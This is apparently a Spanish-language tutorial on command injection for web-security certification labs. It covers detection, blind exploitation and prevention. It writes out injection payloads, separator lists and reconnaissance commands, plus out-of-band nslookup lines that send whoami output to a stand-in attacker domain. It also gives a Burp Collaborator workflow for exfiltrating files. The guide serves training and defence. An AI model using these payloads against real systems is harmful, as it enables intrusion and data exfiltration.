Command injection guide
Guía sobre Command Injection
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Explicación técnica de la vulnerabilidad command injection. Detallamos cómo identificar y explotar esta vulnerabilidad, tanto manualmente como con herramientas automatizadas. Además, exploramos estrategias clave para prevenirla
¿Qué es un command injection?
Un command injection permite a un atacante ejecutar comandos en el servidor que está ejecutando una aplicación y típicamente comprometer por completo la aplicación y sus datos. A menudo, un atacante puede aprovechar una vulnerabilidad de command injection para comprometer otras partes de la infraestructura de alojamiento y explotar relaciones de confianza para pivotar el ataque hacia otros sistemas dentro de la organización
Inyectar comandos
Una aplicación de compras permite al usuario ver si un artículo está en stock en una tienda concreta. Esta información se accede mediante la siguiente URL:
1
https://insecure-website.com/stockStatus?productID=381&storeID=29
Para proporcionar la información de stock, la aplicación debe consultar varios sistemas legacy. Por razones históricas, la funcionalidad se implementa ejecutando un comando mediante la consola con los IDs de producto y tienda como argumentos. El siguiente comando imprime el estado del stock para el artículo especificado, el cual posteriormente se devuelve al usuario
1
stockreport.pl 381 29
La aplicación no implementa defensas contra command injection, por lo que un atacante puede enviar la siguiente entrada para ejecutar un comando arbitrario. Por ejemplo:
1
& echo aiwefwlguh &
Si este input se envía en el parámetro productID, el comando ejecutado por la aplicación sería el siguiente:
1
stockreport.pl & echo aiwefwlguh & 29
El comando echo hace que la cadena suministrada se muestre en la salida. Esto es útil para probar algunos tipos de command injection. El carácter & sirve para separar varios comandos. En este ejemplo, provoca la ejecución de tres comandos separados, uno tras otro. La salida devuelta al usuario es la siguiente:
1
2
3
Error - productID was not provided
aiwefwlguh
29: command not found
El output del comando anterior demuestra que:
El comando original
stockreport.plse ejecutó sin susargumentos esperados, por lo que devolvió unmensaje de errorEl comando
echoinyectado se ejecutó y lacadena suministradasemostróen lasalidaEl argumento original
29se ejecutó como uncomando, lo que causó unerror
Colocar el & después del comando inyectado es útil porque separa el comando inyectado de lo que le sigue. Esto reduce la probabilidad de que lo que sigue impida que el comando inyectado se ejecute
En este laboratorio podemos ver como aplicar esta técnica:
- Command injection, simple case - https://justice-reaper.github.io/posts/Command-Injection-Lab-1/
Blind command injection
Muchas instancias de command injection son vulnerabilidades son de tipo blind. Esto significa que la aplicación no devuelve la salida del comando en su respuesta HTTP. Estas vulnerabilidades todavía pueden ser explotadas pero se requieren técnicas diferentes
Por ejemplo, imaginemos que un sitio web permite a los usuarios enviar comentarios sobre la web. Para ello, el usuario debe ingresar su correo electrónico y un mensaje de feedback que le llegará al administrador del sitio web
La aplicación del lado del servidor genera un correo electrónico al administrador del sitio web con el mensaje de feedback mediante el siguiente comando:
1
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
La salida del comando mail no se devuelve en las respuestas de la aplicación, por lo que usar un payload como echo no funcionará. En esta situación, se pueden usar otras técnicas para detectar y explotar la vulnerabilidad
Detectar un blind command injection usando time delays
Se puede inyectar un comando para provocar un delay, lo cual permitiría confirmar que el comando se ejecutó basándose en el tiempo que tarda la aplicación en responder. El comando ping es una buena opción, ya que permite especificar el número de paquetes ICMP a enviar
Este comando hace que la aplicación haga un ping a su loopback durante 10 segundos y por lo tanto, nos permite controlar el tiempo que tarda el comando en ejecutarse:
1
& ping -c 10 127.0.0.1 &
En este laboratorio podemos ver como aplicar esta técnica:
- Blind command injection with time delays - https://justice-reaper.github.io/posts/Command-Injection-Lab-2/
Explotar blind command injection redirigiendo su output
Se puede redirigir la salida del comando inyectado a un archivo que esté en directorio raíz del sitio web, el cual luego podrá leerse desde el navegador accediendo a la ruta en la que se encuentra. Por ejemplo, si la aplicación aloja recursos estáticos en /var/www/static, se puede enviar el siguiente input:
1
& whoami > /var/www/static/whoami.txt &
El carácter > envía la salida del comando whoami al archivo especificado. Posteriormente podremos leer su contenido accediendo a la siguiente ruta en el navegador:
1
https://vulnerable-website.com/whoami.txt
En este laboratorio podemos ver como aplicar esta técnica:
- Blind command injection with output redirection - https://justice-reaper.github.io/posts/Command-Injection-Lab-3/
Explotar un blind command injection usando técnicas out-of-band (OAST)
Se puede usar un comando inyectado que genere una interacción con un sistema que controlamos, usando técnicas OAST. Por ejemplo, este payload usa el comando nslookup para realizar una consulta DNS al dominio especificado
1
& nslookup kgji2ohoyw.web-attacker.com &
En este laboratorio podemos ver como aplicar esta técnica:
- Blind command injection with out-of-band interaction - https://justice-reaper.github.io/posts/Command-Injection-Lab-4/
El atacante puede concatenar un comando al payload anterior para saber si el comando fue ejecutado con éxito. Por ejemplo:
1
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Esto provocará una consulta DNS al dominio del atacante que contendrá el ouput del comando whoami
1
wwwuser.kgji2ohoyw.web-attacker.com
En este laboratorio podemos ver como aplicar esta técnica:
- Blind command injection with out-of-band data exfiltration - https://justice-reaper.github.io/posts/Command-Injection-Lab-5/
Comandos útiles
Después de identificar un command injection, es útil ejecutar algunos comandos iniciales para obtener información sobre el sistema. Estos son algunos comandos útiles para Windows y Linux:
| Propósito del comando | Linux | Windows |
|---|---|---|
| Nombre del usuario actual | whoami | whoami |
| Sistema operativo | uname -a | ver |
| Configuración de red | ifconfig | ipconfig /all |
| Conexiones de red | netstat -an | netstat -an |
| Procesos en ejecución | ps -ef | tasklist |
Formas de inyectar comandos
Se pueden usar varios caracteres para realizar un command injection. Algunos caracteres funcionan como separadores de comandos, permitiendo que los comandos se encadenen. Los siguientes separadores funcionan tanto en Windows como en sistemas Unix:
1
2
3
4
&
&&
|
||
Los siguientes separadores funcionan solo en sistemas Unix:
1
2
;
Nueva línea (0x0a o \n)
En sistemas Unix, también se pueden usar backticks o el carácter $ para ejecutar un comando inyectado dentro del comando original. Por ejemplo:
1
2
`comando inyectado`
$(comando inyectado)
Los diferentes caracteres tienen comportamientos sutilmente distintos, lo cual puede determinar si funcionan unas situaciones u en otas. Esto puede afectar a si permiten recuperar el output del comando o si solo son útiles para un blind command injection
A veces, el input que controlamos aparece dentro de comillas en el comando original. En esta situación, es necesario cerrar el contexto de comillas usando " o ' antes de usar los caracteres adecuados para inyectar un nuevo comando
Cheatsheet
Usaremos estas cheatsheet para facilitar la detección y explotación de esta vulnerabilidad:
- Hacking tools https://justice-reaper.github.io/posts/Hacking-Tools/
¿Cómo detectar y explotar un command injection?
Teniendo en cuenta que los términos y herramientas mencionados a continuación se encuentran en la cheatsheet mencionada anteriormente, llevaremos a cabo los siguientes pasos:
1 - Instalar las extensión Agartha de Burpsuite
2 - Lo primero que tenemos que hacer es detectar el command injection, para ello vamos a generar payloads usando el comando sleep 5 con la extensión Agartha y mediante el Intruder vamos a efectuar un Battering ram attack. Vamos a introducir los payloads generados en todas las posiciones posibles, por ejemplo, en un formulario o cuando checkeamos el stock de un producto se envían cammpos con sus valores, pues nosotros capturamos este tipo de peticiones con Burspuite y sustituimos esos datos. Antes de iniciar el ataque debemos tener en cuenta que puede ser que hayan posiciones en las que no podamos introducir un payload porque provocaríamos un error, por ejemplo, si reemplazamos un token csrf lo más seguro es que provoquemos un error. En estos casos, lo que tenemos que hacer es quitar los payloads de las posiciones uno a uno para poder ver cual es la posición en la que no podemos inyectar payloads. Otra cosa importante, tenemos que usar un solo hilo, poner un tiempo fijo entre peticiones (200 milisegundos por ejemplo) y desactivar el payload encoding. Si queremos payload encoding lo hacemos desde la extensión Agartha, no desde el Intruder
3 - Si no encontramos nada puede ser porque estemos ante un blind command injection with out-of-band interaction, para estos casos tenemos que copiarnos un dominio de Burpsuite Collaborator y usarlo en este comando nslookup npg6x2n5ukokq7409k2zmzwl8ce32tqi.oastify.com para generar un diccionario de payloads. Este diccionario lo vamos a guardar en una ruta de nuestro sistema y posteriormente vamos a ejecutar estos comandos para así añadirle un identificador único a cada payload y así saber que payload corresponde cada petición que recibamos en Burpsuite Collaborator. Una vez tengamos el diccionario creado, efectuamos un Battering ram attack e introducimos los payloads en todas las posiciones posibles. Para este tipo de payloads no necesitamos modificar el número de hilos, lo podemos dejar por defecto
1
2
d="npg6x2n5ukokq7409k2zmzwl8ce32tqi.oastify.com"
awk -v d="$d" 'index($0,d){ n++; sub(d, n"."d) } 1' payloads.txt | sponge payloads.txt
4 - En caso de que los pasos anteriores no funcionen, vamos a repetirlos pero seleccionando la opción de URL encoding en Agartha
5 - En caso de que esto tampoco funcione, podemos intentar hacer los pasos que se mencionan a continuación, sin embargo, lo más probable es que no exista un command injection en este laboratorio. Instalar las extensiones Active Scan ++, Error Message Checks, Additional Scanner Checks, Collaborator Everywhere, Backslash Powered Scanner y Command injection attacker de Burpsuite
6 - Instalar las extensiones Active Scan ++, Error Message Checks, Additional Scanner Checks, Collaborator Everywhere, Backslash Powered Scanner y Command injection attacker de Burpsuite
7 - Añadir el dominio y sus subdominios al scope
8 - Interactuar con toda la web manualmente y hacer un escaneo general con Burpsuite. Como tipo de escaneo marcaremos Crawl and audit y como configuración de escaneo usaremos Deep
9 - Escanearemos partes específicas de la petición usando el escáner de Burpsuite. Para escanear los insertion points debemos seleccionar en tipo de escaneo la opción Audit selected items
10 - Una vez hayamos detectado el command injection, ya podremos ejecutar comandos en la máquina víctima. Para completar los laboratorios vamos a tener que leer un archivo, existen diferentes formas de lograrlo, por ejemplo, puede ser que podamos ver el output del comando en la respuesta https://justice-reaper.github.io/posts/Command-Injection-Lab-1/, puede ser que tengamos que copiar el contenido del archivo que queramos leer en una ruta a la que tengamos acceso https://justice-reaper.github.io/posts/Command-Injection-Lab-3/ o puede ser que tengamos que exfiltrar el contenido del archivo https://justice-reaper.github.io/posts/Command-Injection-Lab-5/
Prevenir ataques de command injection
La forma más efectiva de prevenir vulnerabilidades de command injection es nunca llamar a comandos del sistema operativo desde el código de la capa de aplicación. En casi todos los casos, existen formas alternativas de implementar la funcionalidad requerida usando APIs
Si es necesario llamar a comandos del sistema con un input proporcionado por el usuario, se debe realizar una validación de entrada estricta. Algunos ejemplos de validación efectiva incluyen lo siguiente:
Validar el input contra una whitelist de valores permitidos
Validar que el input sea un número
Validar que el input contenga solo caracteres alfanuméricos, sin otra sintaxis ni espacios
Nunca se debe intentar sanitizar el input escapando caracteres, ya que en la práctica, esto es bastante propenso a errores y puede ser bypasseado por un atacante experimentado
